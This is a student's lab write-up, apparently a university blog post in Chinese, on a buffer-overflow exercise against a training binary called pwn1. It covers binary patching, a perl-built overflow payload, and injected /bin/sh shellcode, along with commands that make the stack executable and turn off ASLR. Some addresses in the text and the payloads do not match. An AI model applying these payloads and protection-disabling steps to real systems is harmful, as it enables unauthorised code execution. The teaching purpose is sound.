2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验)

实验有三个模块:

(一)直接修改程序机器指令,改变程序执行流程;

(二)通过构造输入参数,造成BOF攻击,改变程序执行流;

(三)注入Shellcode并执行;

这三个实验都是“我攻我自己”也就是在本机一台虚拟机完成,以此来帮助我们理解BOF攻击的,最终的效果都是获取主机的shell(实际上你会发现这三个部分是一环扣一环递推的)。

首先你需要一个pwn1文件,我打包了自己的文件在这里:https://files.cnblogs.com/files/maxeysblog/pwn1.zip ,我当时发现这个pwn1文件在网上很难找,这个是后来从老师那里拿到的。

然后你需要一台虚拟机(操作系统kali)。

当你拿到这个文件以后,放在你的虚拟机里面,你会发现他可能不是可执行文件(没有高亮):

如果你直接执行是不行的,权限不够,他会告诉你:

bash: ./pwn1: 权限不够

解决办法:chmod +x pwn1即可,执行之后文件变成高亮:

那么我们开始吧。

一、直接修改程序机器指令,改变程序执行流程

第一个实验实际上就是:在main函数对子函数foo调用的时候,修改call指令跳转的地址,使其跳转到子函数shellcode处进行执行,从而达到获取shell的目的。

首先:objdump -d pwn1,反汇编pwn1文件。

反汇编结束后你发现:main函数里面有一步call 804891<foo>,机器码指令为e8 d7 ff ff ff(call的机器码就是e8,后面是地址)。

进一步分析:08048491是 ,0804847d是我们的跳转目标

0x08048491 - 0x0804847d = 0x00000014  //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3  //计算要篡改的目标地址

(小端机器)

接着使用命令vi pwn1修改文件。

进入之后是乱码,使用:%!xxd转换为16进制显示。

使用/d7命令寻找e8d7ffffff机器指令所在地。

找到以后按i进入插入模式,修改d7为c3。

然后使用:%!xxd -r换回乱码的样子(不换回去会出问题),再用:wq保存即可。

这时如果再次objdump -d pwn1你能看到pwn1文件已经改了:

执行./pwn1文件可以成功获取shell:(我做实验时拷贝了一个pwn1,修改前后执行效果明显不同)

至此第一个实验成功。

二、通过构造输入参数,造成BOF攻击,改变程序执行流

缓冲区溢出攻击,即BOF攻击。简单的说就是不合法的输入把子函数的返回地址覆盖掉了,通过这种方式修改函数的返回地址,使程序代码执行“意外”的流程。

如果你觉得自己对缓冲区了解不够,可以看看这个比较基础的:https://blog.csdn.net/beyond_2016/article/details/81316801

然而攻击过程中,被篡改的返回地址不能准确指向shellcode的起始地址,那么攻击仍然会失败,shell会反馈说段错误(就是你跳的地方不对,shell不认识)。

所以我们先来确定返回地址该写啥。

使用gdb命令,file pwn1载入pwn1文件。

输入r执行pwn1,这时程序正常执行,在foo子函数调用的过程中,需要我们输入一个字符串(在你输入完毕以后foo会自动输出这个字符串)。

输入36个字符后回车:abcdefghijklmnopqrstuvwxyz1234567890(我不知道缓冲区多大诶,网上查资料也没找到,我只能这样先试一试,望各位大佬指点)

这时候已经发生段错误:Segmentation fault,你能看见图中:0x30393837 in ?? (),也就是说他不认识跳转的地址0x30393837是啥。

本次实验用的是小端机器,30、39、38、37分别是0、9、8、7对应的ASCII码,那么也就是说最后4位刚好完成溢出,覆盖掉返回地址了。

那我们只需要把最后四位写为\xd7\x84\x04\x08(shellcode的起始地址0x080484d7)就行了。

很显然这样直接花里胡哨是不行的,我们需要使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。

使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

Perl -e:用于在命令行而不是在脚本中执行 Perl 命令;“|”管道:将第一条命令的结果作为第二条命令的参数来使用;

(多余的我也不会了)

可以使用xxd input查看input文件的内容。

攻击成功以后:

三、注入Shellcode并执行

注入shellcode的意思是shellcode在输入的时候被放入堆栈了,那么在堆栈里面就有机会把返回地址指向shellcode,实现攻击。

但是目前很多操作系统都有数据执行保护的,也就是DEP,这项保护将禁止非法程序在堆栈执行。

所以一开始先要设置堆栈可执行:

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行

堆栈可执行的话结果是X pwn1;(没有这个命令就apt-get install execstack

另外,如果一开始没有关闭地址随机化,每一次操作esp的地址都会变化,因此实验的关键就是要关闭地址随机化。

使用echo "0" > /proc/sys/kernel/randomize_va_space关闭。

整个过程中我们需要注入一段代码,和实验二里面使用的perl类似,我们首先构造一个input_shellcode:

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

首先在一个窗口运行(cat input_shellcode;cat) | ./pwn1

在另外一个窗口ps -ef | grep pwn能看见当前运行pwn1的进程号;

在gdb里面attach 进程号进行调试如图:

(gdb) disassemble foo反编译;

设置断点:

命中以后查看esp:

esp后4个字节就是我们要找的returnaddr;

0xffffd31c + 0x00000004 = 0xffffd320

成功。


遇到的问题

有一个错我一直不知道为什么:

时不时会有这个报错:说我语法有问题。

目前找到的办法就是重启虚拟机再来一次,会变正常。但是时不时又会报错,真的心力憔悴...


总结两句(发点牢骚)

可能是我脸黑,但是我感觉做这个实验真的好坎坷.....有什么问题还望各位看官指点。

实际上我觉得自己对BOF理解还是不够,最后一个实验为什么要看esp的值(这个问题可能是之前课程没学好,不能理解esp在程序执行时候的作用)?为什么加4位就可以了?如果这样就可以直接找到shellcode起始位置了,那设置nops的意义何在呢?

还有就是为什么第二个实验中,输入32位以后就会覆盖返回地址?这个32位是怎么知道的呢?猜吗?

脑阔痛....

望大佬们解答。

猜你喜欢

转载自www.cnblogs.com/maxeysblog/p/10504554.html